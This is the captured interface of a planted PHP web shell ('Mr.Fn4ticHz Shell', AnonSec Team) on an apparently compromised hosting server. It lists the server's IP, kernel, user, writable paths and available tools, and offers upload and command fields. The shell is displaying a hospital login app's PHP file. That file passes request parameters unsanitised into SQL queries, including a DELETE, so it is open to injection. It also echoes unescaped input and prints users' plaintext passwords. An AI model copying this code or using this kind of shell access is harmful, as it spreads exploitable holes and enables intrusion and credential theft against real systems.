Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.222.182.66
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/lab_department.php
<?php 
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
include('menu.php');
include('header.php');
if(isset($_POST['signup']))
{
LoginManager::department("$_POST[name]","$_POST[usertype]","$_POST[department_section]","$_POST[Heading_department]","$_POST[Number_beds]","$_POST[entered_by]");
}
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM department WHERE srno='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Add Successfully..');</script><script>window.location='$_SERVER[PHP_SELF];'</script>";
	}
}
?>



<!DOCTYPE html>
<html lang="en">
    <head>

</head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<title> Pt Signup</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="new2.css">
</head>
<body>
    <div class="content-wrapper">
        <section class="content-header">
          <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Department</strong></th>
          <th><strong>Department section </strong></th>
            <th><strong>User Id </strong></th>
          <th><strong>Password</strong></th>          
            <th><strong>Action</strong></th>  
        </tr>
      
                  </thead>
                <tr>
<?php
include("dbconnection.php");
$narayan=LoginManager::currentUser();
        $hari=LoginManager::getUserTypeByuname("$narayan");
        	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$hari'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
$sql2 ="SELECT * FROM department WHERE  entered_by='$rsn[entered_by]'";
$qsql2 = mysqli_query($con,$sql2);
while($rs = mysqli_fetch_array($qsql2))
{
 $sql3 ="SELECT * FROM site_users WHERE  userno='$rs[departmentid]'";
$qsql3 = mysqli_query($con,$sql3);
while($rs1 = mysqli_fetch_array($qsql3))
{ 
           
           
             switch ($rs[name]) {
  case 'LAB_Intensive_care':
    echo ' <td>&nbsp;Intensive care unit Nursing station</td>';
    break;
    case 'LAB_General_ward':
    echo ' <td>&nbsp;General ward Nursing Station</td>';
    break;
    case 'LAB_Doctors_Notepad':
    echo ' <td>&nbsp;Doctors Notepad</td>';
    break;
     case 'LAB_reception':
    echo ' <td>&nbsp;Reception</td>';
    break;
       case 'OPD_Front_desk':
    echo ' <td>&nbsp;OPD Front desk</td>';
    break;
       case 'LAB_SEMI_Pvt_ward':
    echo ' <td>&nbsp;SEMI Pvt ward</td>';
    break;
    case 'LAB_Pvt_Ward':
    echo ' <td>&nbsp;Pvt Ward Nursing station</td>';
    break;
     case 'LAB_OT_complex':
    echo ' <td>&nbsp;OT complex Nursing station</td>';
    break;
      case 'LAB_Pharmacy':
    echo ' <td>&nbsp;Pharmacy</td>';
    break;
       case 'LAB_Laboratory':
    echo ' <td>&nbsp;Laboratory</td>';
    break;
        case 'LAB_Diagnostic':
    echo ' <td>&nbsp;Diagnostic</td>';
    break;
        case 'LAB_Accounts':
    echo ' <td>&nbsp;Accounts</td>';
    break;
    case 'e_a_nursing_station':
    echo ' <td>&nbsp;E&A Nursing Station</td>';
    break;
     default:
    echo '';
}

      echo "
            <td>&nbsp;$rs[department_section]</td>
              		<td>&nbsp;$rs1[uname]</td>
              		 <td>&nbsp;$rs1[password]</td>
              	<td><a href='department_view.php?departmentid=$rs[departmentid]' >View</a> | <a href='department_edit.php?departmentid=$rs[departmentid]'>Edit</a>| <a href='lab_department.php?departmentid=$rs[departmentid]&delid=$rs[srno]'>Delete</a></td>
                          </tr>
          
          ";

}
}
    
	}

?>       </tbody>
  <tfoot>
          </tfoot>
        </table>            

<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>

<form name="signup" method="post" name="submit">
    	<h3><i class="fa fa-angle-right"></i>  Department Access
 </h3>
 <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>

<body>
	 <label>Department</label>
		  <select name="name">
		        <option>Department</option>
		      <option value="LAB_reception">Reception</option>
		      <option value="LAB_Doctors_Notepad">Doctors Notepad </option>

    <option value="LAB_Laboratory">Laboratory </option>
    <option value="LAB_Diagnostic">Diagnostic</option>
        <option value="LAB_Accounts">Billing and Accounts</option>

		  </select>
	

		  <label>Department section</label>
		   <input type="text" placeholder='Department section' name="department_section">

	<button type="submit" name="signup">Create
</button>
</form>

</body>


</html>


Anon7 - 2022
AnonSec Team